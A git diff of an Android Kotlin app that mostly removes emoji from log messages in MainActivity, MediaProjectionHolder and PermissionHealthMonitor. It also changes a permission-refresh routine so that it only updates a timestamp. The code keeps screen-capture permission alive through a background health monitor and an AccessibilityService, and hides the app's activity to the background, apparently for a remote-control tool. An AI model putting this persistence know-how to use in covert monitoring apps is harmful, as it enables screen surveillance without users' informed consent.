Log.i(TAG, "已将MainActivity隐藏到后台") // } catch (e: Exception) { -// Log.w(TAG, "⚠️ 隐藏Activity到后台失败: ${e.message}") +// Log.w(TAG, "隐藏Activity到后台失败: ${e.message}") // } } @@ -5900,7 +5892,7 @@ class MainActivity : AppCompatActivity() { */ private fun showMainUI() { try { - // ✅ 停止WebView状态更新 + //停止WebView状态更新 stopWebViewStatusUpdate() // 显示主界面内容 @@ -5914,12 +5906,12 @@ class MainActivity : AppCompatActivity() { // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 退出 WebView 模式:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } - Log.i(TAG, "✅ 主UI已显示,WebView容器已隐藏") + Log.i(TAG, "主UI已显示,WebView容器已隐藏") } catch (e: Exception) { - Log.e(TAG, "❌ 显示主UI失败: ${e.message}") + Log.e(TAG, "显示主UI失败: ${e.message}") } } @@ -5940,14 +5932,14 @@ object MediaProjectionHolder { private var permissionResultCode: Int? = null private var permissionData: Intent? = null - // 🔒 全局创建锁:防止多个管理器并发调用 getMediaProjection() 创建新实例 + // 全局创建锁:防止多个管理器并发调用 getMediaProjection() 创建新实例 private val creationLock = java.util.concurrent.locks.ReentrantLock() - // 🔒 创建中标记:防止 onStop 回调触发的恢复流程与正在进行的创建冲突 + // 创建中标记:防止 onStop 回调触发的恢复流程与正在进行的创建冲突 @Volatile private var isCreatingProjection = false - // 🔒 上次创建时间:防止短时间内重复创建 + // 上次创建时间:防止短时间内重复创建 @Volatile private var lastCreationTime: Long = 0L private const val MIN_CREATION_INTERVAL = 5000L // 最小创建间隔5秒 @@ -5968,7 +5960,7 @@ object MediaProjectionHolder { permissionCreationTime = System.currentTimeMillis() Log.i( "MediaProjectionHolder", - "✅ MediaProjection已设置,时间戳: $permissionCreationTime" + "MediaProjection已设置,时间戳: $permissionCreationTime" ) } } @@ -6008,7 +6000,7 @@ object MediaProjectionHolder { val isValid = permissionResultCode != null && permissionAge < maxAge if (!isValid && permissionResultCode != null) { - Log.w("MediaProjectionHolder", "⚠️ 权限数据已过期,年龄: ${permissionAge / 1000}秒") + Log.w("MediaProjectionHolder", "权限数据已过期,年龄: ${permissionAge / 1000}秒") } return isValid @@ -6034,12 +6026,12 @@ object MediaProjectionHolder { """.trimIndent() ) - // ❌ 修复:不要随意停止MediaProjection!特别是Android 15设备 + // 修复:不要随意停止MediaProjection!特别是Android 15设备 // 这会导致权限永久失效,需要重新申请 // 只清理引用,保留权限数据,让系统自然回收 Log.w( "MediaProjectionHolder", - "⚠️ 清理MediaProjection引用,但保留权限数据防止Android 15权限丢失" + "清理MediaProjection引用,但保留权限数据防止Android 15权限丢失" ) // 记录权限丢失 @@ -6056,7 +6048,7 @@ object MediaProjectionHolder { // 不清理权限数据:permissionResultCode 和 permissionData 保留 // 记录权限丢失,需要外部触发恢复机制 - Log.i("MediaProjectionHolder", "🔄 权限丢失,需要外部触发恢复机制") + Log.i("MediaProjectionHolder", "权限丢失,需要外部触发恢复机制") Log.d( "MediaProjectionHolder", """ @@ -6069,7 +6061,7 @@ object MediaProjectionHolder { } /** - * 🔒 安全创建 MediaProjection 的唯一入口 + * 安全创建 MediaProjection 的唯一入口 * * 所有需要创建 MediaProjection 的地方都必须通过此方法, * 禁止直接调用 mediaProjectionManager.getMediaProjection()。 @@ -6087,20 +6079,20 @@ object MediaProjectionHolder { // 第一步:优先返回已有对象 val existing = mediaProjection if (existing != null) { - Log.i("MediaProjectionHolder", "✅ safeCreate: 已有有效对象,直接复用") + Log.i("MediaProjectionHolder", "safeCreate: 已有有效对象,直接复用") return existing } // 第二步:检查创建间隔 val now = System.currentTimeMillis() if (now - lastCreationTime < MIN_CREATION_INTERVAL) { - Log.w("MediaProjectionHolder", "⚠️ safeCreate: 距上次创建不足${MIN_CREATION_INTERVAL}ms,跳过") + Log.w("MediaProjectionHolder", "safeCreate: 距上次创建不足${MIN_CREATION_INTERVAL}ms,跳过") return null } // 第三步:加锁创建,防止并发 if (!creationLock.tryLock()) { - Log.w("MediaProjectionHolder", "⚠️ safeCreate: 其他线程正在创建,跳过") + Log.w("MediaProjectionHolder", "safeCreate: 其他线程正在创建,跳过") return null } @@ -6108,19 +6100,19 @@ object MediaProjectionHolder { // double-check:锁内再次检查 val doubleCheck = mediaProjection if (doubleCheck != null) { - Log.i("MediaProjectionHolder", "✅ safeCreate: double-check发现已有对象") + Log.i("MediaProjectionHolder", "safeCreate: double-check发现已有对象") return doubleCheck } isCreatingProjection = true - Log.i("MediaProjectionHolder", "🔒 safeCreate: 开始创建新的MediaProjection") + Log.i("MediaProjectionHolder", "safeCreate: 开始创建新的MediaProjection") val manager = context.getSystemService( android.content.Context.MEDIA_PROJECTION_SERVICE ) as? android.media.projection.MediaProjectionManager if (manager == null) { - Log.e("MediaProjectionHolder", "❌ safeCreate: MediaProjectionManager为null") + Log.e("MediaProjectionHolder", "safeCreate: MediaProjectionManager为null") return null } @@ -6129,14 +6121,14 @@ object MediaProjectionHolder { mediaProjection = projection lastCreationTime = now permissionCreationTime = now - Log.i("MediaProjectionHolder", "✅ safeCreate: 创建成功 hash=${projection.hashCode()}") + Log.i("MediaProjectionHolder", "safeCreate: 创建成功 hash=${projection.hashCode()}") } else { - Log.w("MediaProjectionHolder", "❌ safeCreate: getMediaProjection返回null") + Log.w("MediaProjectionHolder", "safeCreate: getMediaProjection返回null") } return projection } catch (e: Exception) { - Log.e("MediaProjectionHolder", "❌ safeCreate: 创建异常", e) + Log.e("MediaProjectionHolder", "safeCreate: 创建异常", e) return null } finally { isCreatingProjection = false @@ -6178,7 +6170,7 @@ object MediaProjectionHolder { // 检查是否过于频繁的恢复尝试 if (recoveryCurrentTime - lastRecoveryTime < 30000) { // 30秒内不重复恢复 - Log.w("MediaProjectionHolder", "⚠️ 恢复尝试过于频繁,跳过") + Log.w("MediaProjectionHolder", "恢复尝试过于频繁,跳过") return null } @@ -6186,7 +6178,7 @@ object MediaProjectionHolder { // 检查权限数据有效性 if (!isPermissionDataValid()) { - Log.w("MediaProjectionHolder", "❌ 权限数据无效,无法智能恢复") + Log.w("MediaProjectionHolder", "权限数据无效,无法智能恢复") return null } @@ -6200,7 +6192,7 @@ object MediaProjectionHolder { // 暂时返回null,具体的智能恢复应该由有Context的组件来处理 Log.w( "MediaProjectionHolder", - "❌ 静态方法中无法获取Context,智能恢复应该由AccessibilityService处理" + "静态方法中无法获取Context,智能恢复应该由AccessibilityService处理" ) return null } @@ -6209,7 +6201,7 @@ object MediaProjectionHolder { return null } catch (e: Exception) { - Log.e("MediaProjectionHolder", "❌ 智能恢复异常", e) + Log.e("MediaProjectionHolder", "智能恢复异常", e) return null } } diff --git a/app/src/main/java/com/hikoncont/service/PermissionHealthMonitor.kt b/app/src/main/java/com/hikoncont/service/PermissionHealthMonitor.kt index 491813a..b4aa64f 100644 --- a/app/src/main/java/com/hikoncont/service/PermissionHealthMonitor.kt +++ b/app/src/main/java/com/hikoncont/service/PermissionHealthMonitor.kt @@ -52,7 +52,7 @@ class PermissionHealthMonitor(private val context: Context) { return } - Log.i(TAG, "🏥 启动权限健康监控服务") + Log.i(TAG, "启动权限健康监控服务") isMonitoring.set(true) val checkInterval = if (Build.VERSION.SDK_INT >= 35) { @@ -67,13 +67,13 @@ class PermissionHealthMonitor(private val context: Context) { performHealthCheck() delay(checkInterval) } catch (e: Exception) { - Log.e(TAG, "❌ 健康检查异常", e) + Log.e(TAG, "健康检查异常", e) delay(checkInterval) } } } - Log.i(TAG, "✅ 权限健康监控已启动,检查间隔: ${checkInterval / 1000}秒") + Log.i(TAG, "权限健康监控已启动,检查间隔: ${checkInterval / 1000}秒") } /** @@ -85,7 +85,7 @@ class PermissionHealthMonitor(private val context: Context) { return } - Log.i(TAG, "🛑 停止权限健康监控服务") + Log.i(TAG, "停止权限健康监控服务") isMonitoring.set(false) healthCheckJob?.cancel() @@ -100,9 +100,9 @@ class PermissionHealthMonitor(private val context: Context) { try { totalChecks++ - Log.v(TAG, "🔍 执行第${totalChecks}次权限健康检查") + Log.v(TAG, "执行第${totalChecks}次权限健康检查") - // 🔧 优化权限检查逻辑,避免误报 + // 优化权限检查逻辑,避免误报 val smartManager = SmartMediaProjectionManager.getInstance(context) val hasMediaProjection = smartManager.getCurrentMediaProjection() != null val hasPermissionData = MediaProjectionHolder.getPermissionData() != null @@ -111,7 +111,7 @@ class PermissionHealthMonitor(private val context: Context) { // 获取权限统计信息 val stats = MediaProjectionHolder.getPermissionStats() - // 🔧 更智能的健康判断:Android 15设备更宽松的判断标准 + // 更智能的健康判断:Android 15设备更宽松的判断标准 val isHealthy = if (android.os.Build.VERSION.SDK_INT >= 35) { // Android 15:只要有权限数据且数据有效就认为是健康的 hasPermissionData && permissionDataValid @@ -120,20 +120,20 @@ class PermissionHealthMonitor(private val context: Context) { hasMediaProjection || (hasPermissionData && permissionDataValid) } - Log.v(TAG, "🔍 权限健康检查: MediaProjection=$hasMediaProjection, 权限数据=$hasPermissionData, 数据有效=$permissionDataValid, 总体健康=$isHealthy") + Log.v(TAG, "权限健康检查: MediaProjection=$hasMediaProjection, 权限数据=$hasPermissionData, 数据有效=$permissionDataValid, 总体健康=$isHealthy") if (isHealthy) { // 权限状态正常 healthyChecks++ handleHealthyState(stats) } else { - // 🚨 只有在确实没有任何权限时才认为是问题 - Log.w(TAG, "⚠️ 确认权限问题 - MediaProjection=$hasMediaProjection, 权限数据=$hasPermissionData, 数据有效=$permissionDataValid") + // 只有在确实没有任何权限时才认为是问题 + Log.w(TAG, "确认权限问题 - MediaProjection=$hasMediaProjection, 权限数据=$hasPermissionData, 数据有效=$permissionDataValid") handleUnhealthyState(hasMediaProjection, permissionDataValid, stats) } } catch (e: Exception) { - Log.e(TAG, "❌ 健康检查执行失败", e) + Log.e(TAG, "健康检查执行失败", e) } } @@ -141,7 +141,7 @@ class PermissionHealthMonitor(private val context: Context) { * 处理健康状态 */ private fun handleHealthyState(stats: Map) { - Log.v(TAG, "✅ 权限状态健康") + Log.v(TAG, "权限状态健康") // Android 15设备进行额外的稳定性检查 if (Build.VERSION.SDK_INT >= 35) { @@ -149,7 +149,7 @@ class PermissionHealthMonitor(private val context: Context) { val maxAge = 2 * 60 * 60 * 1000L // 2小时 if (permissionAge > maxAge * 0.8) { // 权限年龄超过80% - Log.w(TAG, "⚠️ Android 15权限即将过期,提前准备更新") + Log.w(TAG, "Android 15权限即将过期,提前准备更新") preparePermissionRefresh() } } @@ -163,14 +163,14 @@ class PermissionHealthMonitor(private val context: Context) { permissionDataValid: Boolean, stats: Map ) { - Log.w(TAG, "⚠️ 检测到权限问题 - 有效权限: $hasValidPermission, 数据有效: $permissionDataValid") + Log.w(TAG, "检测到权限问题 - 有效权限: $hasValidPermission, 数据有效: $permissionDataValid") - // ✅ 添加保护性检查:确认权限确实丢失 + // 添加保护性检查:确认权限确实丢失 val permissionData = MediaProjectionHolder.getPermissionData() val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null if (permissionData != null) { - Log.i(TAG, "🛡️ 权限数据仍然存在,可能是误报,不计入权限丢失事件") + Log.i(TAG, "权限数据仍然存在,可能是误报,不计入权限丢失事件") return } @@ -179,17 +179,17 @@ class PermissionHealthMonitor(private val context: Context) { // 尝试智能恢复 if (attemptSmartRecovery()) { successfulRecoveries++ - Log.i(TAG, "✅ 智能恢复成功") + Log.i(TAG, "智能恢复成功") } else { failedRecoveries++ - Log.w(TAG, "❌ 智能恢复失败") + Log.w(TAG, "智能恢复失败") - // ✅ 只有在恢复失败次数真的很多时才发送权限异常通知 + // 只有在恢复失败次数真的很多时才发送权限异常通知 if (failedRecoveries >= 5) { // 提高阈值从 3 到 5 - Log.w(TAG, "⚠️ 连续恢复失败次数过多($failedRecoveries),发送权限异常通知") + Log.w(TAG, "连续恢复失败次数过多($failedRecoveries),发送权限异常通知") notifyPermissionIssue() } else { - Log.i(TAG, "🔄 恢复失败次数尚可接受($failedRecoveries),继续监控") + Log.i(TAG, "恢复失败次数尚可接受($failedRecoveries),继续监控") } } } @@ -199,13 +199,13 @@ class PermissionHealthMonitor(private val context: Context) { */ private suspend fun attemptSmartRecovery(): Boolean { return try { - Log.i(TAG, "🔧 尝试智能权限恢复") + Log.i(TAG, "尝试智能权限恢复") // 使用MediaProjectionHolder的智能恢复 val recovered = MediaProjectionHolder.attemptSmartRecovery() if (recovered != null) { - Log.i(TAG, "✅ 智能恢复成功") + Log.i(TAG, "智能恢复成功") // 通知AccessibilityService权限已恢复 val intent = Intent("android.mycustrecev.PERMISSION_HEALTH_RECOVERED") @@ -213,40 +213,41 @@ class PermissionHealthMonitor(private val context: Context) { true } else { - Log.w(TAG, "❌ 智能恢复失败") + Log.w(TAG, "智能恢复失败") false } } catch (e: Exception) { - Log.e(TAG, "❌ 智能恢复异常", e) + Log.e(TAG, "智能恢复异常", e) false } } /** * 准备权限刷新(Android 15预防性措施) + * + * 禁止调用 setMediaProjection() 重新创建实例! + * 重新创建会导致系统 stop 旧实例,触发 onStop 回调形成权限掉落死循环。 + * 只刷新权限数据的时间戳,延长有效期。 */ private fun preparePermissionRefresh() { - monitorScope.launch { - try { - Log.i(TAG, "🔄 Android 15权限预防性刷新") - - val smartManager = SmartMediaProjectionManager.getInstance(context) - val permissionData = MediaProjectionHolder.getPermissionData() - - if (permissionData != null) { - val (resultCode, resultData) = permissionData - if (resultData != null) { - // 重新设置权限,刷新时间戳 - if (smartManager.setMediaProjection(resultCode, resultData)) { - Log.i(TAG, "✅ 权限预防性刷新成功") - } - } - } - - } catch (e: Exception) { - Log.e(TAG, "❌ 权限预防性刷新失败", e) + try { + Log.i(TAG, "Android 15权限预防性刷新(仅刷新时间戳)") + + val permissionData = MediaProjectionHolder.getPermissionData() + val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null + + if (permissionData != null && hasMediaProjection) { + // 只刷新权限数据时间戳,不重新创建 MediaProjection 实例 + val (resultCode, resultData) = permissionData + MediaProjectionHolder.setPermissionData(resultCode, resultData) + Log.i(TAG, "权限时间戳已刷新,避免过期") + } else { + Log.w(TAG, "权限数据或对象不存在,跳过刷新") } + + } catch (e: Exception) { + Log.e(TAG, "权限预防性刷新失败", e) } } @@ -265,10 +266,10 @@ class PermissionHealthMonitor(private val context: Context) { } context.sendBroadcast(intent) - Log.w(TAG, "📡 已发送权限健康问题通知") + Log.w(TAG, "已发送权限健康问题通知") } catch (e: Exception) { - Log.e(TAG, "❌ 发送权限问题通知失败", e) + Log.e(TAG, "发送权限问题通知失败", e) } } @@ -309,7 +310,7 @@ class PermissionHealthMonitor(private val context: Context) { val stats = getHealthStatistics() Log.i(TAG, """ - 📊 权限健康监控统计报告: + 权限健康监控统计报告: ======================================== • 监控状态: ${if (stats["isMonitoring"] as Boolean) "运行中" else "已停止"} • 总检查次数: ${stats["totalChecks"]} @@ -330,11 +331,11 @@ class PermissionHealthMonitor(private val context: Context) { */ fun manualHealthCheck() { if (!isMonitoring.get()) { - Log.w(TAG, "⚠️ 监控服务未运行,无法执行手动检查") + Log.w(TAG, "监控服务未运行,无法执行手动检查") return } - Log.i(TAG, "🔍 执行手动健康检查") + Log.i(TAG, "执行手动健康检查") monitorScope.launch { performHealthCheck() } @@ -349,7 +350,7 @@ class PermissionHealthMonitor(private val context: Context) { permissionLossEvents = 0 successfulRecoveries = 0 failedRecoveries = 0 - Log.i(TAG, "🔄 健康统计信息已重置") + Log.i(TAG, "健康统计信息已重置") } /** @@ -359,6 +360,6 @@ class PermissionHealthMonitor(private val context: Context) { stopMonitoring() monitorScope.cancel() instance = null - Log.i(TAG, "🧹 权限健康监控服务已清理") + Log.i(TAG, "权限健康监控服务已清理") } } \ No newline at end of file